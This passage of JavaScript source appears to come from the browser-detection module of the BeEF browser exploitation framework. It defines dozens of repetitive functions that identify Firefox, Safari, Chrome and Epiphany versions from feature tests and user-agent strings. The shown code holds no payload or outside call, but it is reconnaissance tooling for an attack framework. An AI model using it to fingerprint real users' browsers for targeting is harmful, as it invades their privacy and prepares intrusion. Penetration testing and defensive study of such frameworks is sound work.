'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/68./) != null; }, /** * Returns true if FF69 * @example: beef.browser.isFF69() */ isFF69: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/69./) != null; }, /** * Returns true if FF70 * @example: beef.browser.isFF70() */ isFF70: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/70./) != null; }, /** * Returns true if FF71 * @example: beef.browser.isFF71() */ isFF71: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/71./) != null; }, /** * Returns true if FF72 * @example: beef.browser.isFF72() */ isFF72: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/72./) != null; }, /** * Returns true if FF73 * @example: beef.browser.isFF73() */ isFF73: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/73./) != null; }, /** * Returns true if FF74 * @example: beef.browser.isFF74() */ isFF74: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/74./) != null; }, /** * Returns true if FF75 * @example: beef.browser.isFF75() */ isFF75: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/75./) != null; }, /** * Returns true if FF76 * @example: beef.browser.isFF76() */ isFF76: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/76./) != null; }, /** * Returns true if FF77 * @example: beef.browser.isFF77() */ isFF77: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/77./) != null; }, /** * Returns true if FF78 * @example: beef.browser.isFF78() */ isFF78: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/78./) != null; }, /** * Returns true if FF79 * @example: beef.browser.isFF79() */ isFF79: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/79./) != null; }, /** * Returns true if FF80 * @example: beef.browser.isFF80() */ isFF80: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/80./) != null; }, /** * Returns true if FF81 * @example: beef.browser.isFF81() */ isFF81: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/81./) != null; }, /** * Returns true if FF82 * @example: beef.browser.isFF82() */ isFF82: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/82./) != null; }, /** * Returns true if FF83 * @example: beef.browser.isFF83() */ isFF83: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/83./) != null; }, /** * Returns true if FF84 * @example: beef.browser.isFF84() */ isFF84: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/84./) != null; }, /** * Returns true if FF85 * @example: beef.browser.isFF85() */ isFF85: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/85./) != null; }, /** * Returns true if FF86 * @example: beef.browser.isFF86() */ isFF86: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/86./) != null; }, /** * Returns true if FF87 * @example: beef.browser.isFF87() */ isFF87: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/87./) != null; }, /** * Returns true if FF88 * @example: beef.browser.isFF88() */ isFF88: function () { return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/88./) != null; }, /** * Returns true if FF89 * @example: beef.browser.isFF89() */ isFF89: function () { return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/89./) != null; }, /** * Returns true if FF90 * @example: beef.browser.isFF90() */ isFF90: function () { return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/90./) != null; }, /** * Returns true if FF91 * @example: beef.browser.isFF91() */ isFF91: function () { return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/91./) != null; }, /** * Returns true if FF92 * @example: beef.browser.isFF92() */ isFF92: function () { return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/92./) != null; }, /** * Returns true if FF93 * @example: beef.browser.isFF93() */ isFF93: function () { return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/93./) != null; }, /** * Returns true if FF94 * @example: beef.browser.isFF94() */ isFF94: function () { return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/94./) != null; }, /** * Returns true if FF95 * @example: beef.browser.isFF95() */ isFF95: function () { return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/95./) != null; }, /** * Returns true if FF96 * @example: beef.browser.isFF96() */ isFF96: function () { return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/96./) != null; }, /** * Returns true if FF97 * @example: beef.browser.isFF97() */ isFF97: function () { return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/97./) != null; }, /** * Returns true if FF98 * @example: beef.browser.isFF98() */ isFF98: function () { return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/98./) != null; }, /** * Returns true if FF99 * @example: beef.browser.isFF99() */ isFF99: function () { return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/99./) != null; }, /** * Returns true if the browser is any version of Firefox. * @example: beef.browser.isFFbowser() */ isFFbowser: function () { const parser = bowser.getParser(navigator.userAgent); const browserName = parser.getBrowserName(); return browserName == 'Firefox'; }, /** * Returns true if the browser is any version of Firefox. * @example: beef.browser.isFF() */ isFF: function () { var legacyCheck = this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() || this.isFF21() || this.isFF22() || this.isFF23() || this.isFF24() || this.isFF25() || this.isFF26() || this.isFF27() || this.isFF28() || this.isFF29() || this.isFF30() || this.isFF31() || this.isFF32() || this.isFF33() || this.isFF34() || this.isFF35() || this.isFF36() || this.isFF37() || this.isFF38() || this.isFF39() || this.isFF40() || this.isFF41() || this.isFF42() || this.isFF43() || this.isFF44() || this.isFF45() || this.isFF46() || this.isFF47() || this.isFF48() || this.isFF49() || this.isFF50() || this.isFF51() || this.isFF52() || this.isFF53() || this.isFF54() || this.isFF55() || this.isFF56() || this.isFF57() || this.isFF58()|| this.isFF59() || this.isFF60() || this.isFF61() || this.isFF62() || this.isFF63() || this.isFF64() || this.isFF65() || this.isFF66() || this.isFF67() || this.isFF68() || this.isFF69() || this.isFF70() || this.isFF71() || this.isFF72() || this.isFF73() || this.isFF74() || this.isFF75() || this.isFF76() || this.isFF77() || this.isFF78() || this.isFF79() || this.isFF80() || this.isFF81() || this.isFF82() || this.isFF83() || this.isFF84() || this.isFF85() || this.isFF86() || this.isFF87() || this.isFF88() || this.isFF89() || this.isFF90() || this.isFF91() || this.isFF92() || this.isFF93() || this.isFF94() || this.isFF95() || this.isFF96() || this.isFF97() || this.isFF98() || this.isFF99(); return legacyCheck || this.isFFbowser(); }, /** * Returns true if Safari 4.xx * @example: beef.browser.isS4() */ isS4: function () { return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/4/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window)); }, /** * Returns true if Safari 5.xx * @example: beef.browser.isS5() */ isS5: function () { return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/5/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window)); }, /** * Returns true if Safari 6.xx * @example: beef.browser.isS6() */ isS6: function () { return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/6/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window)); }, /** * Returns true if Safari 7.xx * @example: beef.browser.isS7() */ isS7: function () { return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/7/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window)); }, /** * Returns true if Safari 8.xx * @example: beef.browser.isS8() */ isS8: function () { return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/8/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window)); }, /** * Returns true if Safari. * @example: beef.browser.isS() */ isS: function () { return this.isS4() || this.isS5() || this.isS6() || this.isS7() || this.isS8(); }, /** * Returns true if Webkit based */ isWebKitBased: function () { /* * **** DUPLICATE WARNING **** Changes here may aldo need addressed in /isS\d+/ functions. */ return (!window.opera && !window.chrome && window.navigator.userAgent.match(/ Version\/\d/) != null && !window.globalStorage && !!window.getComputedStyle && !("MozWebSocket" in window)); }, /** * Return true if Epiphany * @example: beef.browser.isEpi() */ isEpi: function () { // Epiphany is based on webkit // due to the uncertainty of webkit version vs Epiphany versions tracking. // -- do webkit based checking (i.e. do safari checks) return this.isWebKitBased() && window.navigator.userAgent.match(/Epiphany\//) != null; }, /** * Returns true if Chrome 5. * @example: beef.browser.isC5() */ isC5: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 5) ? true : false); }, /** * Returns true if Chrome 6. * @example: beef.browser.isC6() */ isC6: function () { return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 6) ? true : false); }, /** * Returns true if Chrome 7. * @example: beef.browser.isC7() */ isC7: function () { return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 7) ? true : false); }, /** * Returns true if Chrome 8. * @example: beef.browser.isC8() */ isC8: function () { return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 8) ? true : false); }, /** * Returns true if Chrome 9. * @example: beef.browser.isC9() */ isC9: function () { return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 9) ? true : false); }, /** * Returns true if Chrome 10. * @example: beef.browser.isC10() */ isC10: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 10) ? true : false); }, /** * Returns true if Chrome 11. * @example: beef.browser.isC11() */ isC11: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 11) ? true : false); }, /** * Returns true if Chrome 12. * @example: beef.browser.isC12() */ isC12: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 12) ? true : false); }, /** * Returns true if Chrome 13. * @example: beef.browser.isC13() */ isC13: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 13) ? true : false); }, /** * Returns true if Chrome 14. * @example: beef.browser.isC14() */ isC14: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 14) ? true : false); }, /** * Returns true if Chrome 15. * @example: beef.browser.isC15() */ isC15: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 15) ? true : false); }, /** * Returns true if Chrome 16. * @example: beef.browser.isC16() */ isC16: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 16) ? true : false); }, /** * Returns true if Chrome 17. * @example: beef.browser.isC17() */ isC17: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 17) ? true : false); }, /** * Returns true if Chrome 18. * @example: beef.browser.isC18() */ isC18: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 18) ? true : false); }, /** * Returns true if Chrome 19. * @example: beef.browser.isC19() */ isC19: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 19) ? true : false); }, /** * Returns true if Chrome for iOS 19. * @example: beef.browser.isC19iOS() */ isC19iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 19) ? true : false); }, /** * Returns true if Chrome 20. * @example: beef.browser.isC20() */ isC20: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 20) ? true : false); }, /** * Returns true if Chrome for iOS 20. * @example: beef.browser.isC20iOS() */ isC20iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 20) ? true : false); }, /** * Returns true if Chrome 21. * @example: beef.browser.isC21() */ isC21: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 21) ? true : false); }, /** * Returns true if Chrome for iOS 21. * @example: beef.browser.isC21iOS() */ isC21iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 21) ? true : false); }, /** * Returns true if Chrome 22. * @example: beef.browser.isC22() */ isC22: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 22) ? true : false); }, /** * Returns true if Chrome for iOS 22. * @example: beef.browser.isC22iOS() */ isC22iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 22) ? true : false); }, /** * Returns true if Chrome 23. * @example: beef.browser.isC23() */ isC23: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 23) ? true : false); }, /** * Returns true if Chrome for iOS 23. * @example: beef.browser.isC23iOS() */ isC23iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 23) ? true : false); }, /** * Returns true if Chrome 24. * @example: beef.browser.isC24() */ isC24: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 24) ? true : false); }, /** * Returns true if Chrome for iOS 24. * @example: beef.browser.isC24iOS() */ isC24iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 24) ? true : false); }, /** * Returns true if Chrome 25. * @example: beef.browser.isC25() */ isC25: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 25) ? true : false); }, /** * Returns true if Chrome for iOS 25. * @example: beef.browser.isC25iOS() */ isC25iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 25) ? true : false); }, /** * Returns true if Chrome 26. * @example: beef.browser.isC26() */ isC26: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 26) ? true : false); }, /** * Returns true if Chrome for iOS 26. * @example: beef.browser.isC26iOS() */ isC26iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 26) ? true : false); }, /** * Returns true if Chrome 27. * @example: beef.browser.isC27() */ isC27: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 27) ? true : false); }, /** * Returns true if Chrome for iOS 27. * @example: beef.browser.isC27iOS() */ isC27iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 27) ? true : false); }, /** * Returns true if Chrome 28. * @example: beef.browser.isC28() */ isC28: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 28) ? true : false); }, /** * Returns true if Chrome for iOS 28. * @example: beef.browser.isC28iOS() */ isC28iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 28) ? true : false); }, /** * Returns true if Chrome 29. * @example: beef.browser.isC29() */ isC29: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 29) ? true : false); }, /** * Returns true if Chrome for iOS 29. * @example: beef.browser.isC29iOS() */ isC29iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 29) ? true : false); }, /** * Returns true if Chrome 30. * @example: beef.browser.isC30() */ isC30: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 30) ? true : false); }, /** * Returns true if Chrome for iOS 30. * @example: beef.browser.isC30iOS() */ isC30iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 30) ? true : false); }, /** * Returns true if Chrome 31. * @example: beef.browser.isC31() */ isC31: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 31) ? true : false); }, /** * Returns true if Chrome for iOS 31. * @example: beef.browser.isC31iOS() */ isC31iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 31) ? true : false); }, /** * Returns true if Chrome 32. * @example: beef.browser.isC32() */ isC32: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 32) ? true : false); }, /** * Returns true if Chrome for iOS 32. * @example: beef.browser.isC32iOS() */ isC32iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 32) ? true : false); }, /** * Returns true if Chrome 33. * @example: beef.browser.isC33() */ isC33: function () { return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 33) ? true : false); }, /** * Returns true if Chrome for iOS 33. * @example: beef.browser.isC33iOS() */ isC33iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 33) ? true : false); }, /** * Returns true if Chrome 34. * @example: beef.browser.isC34() 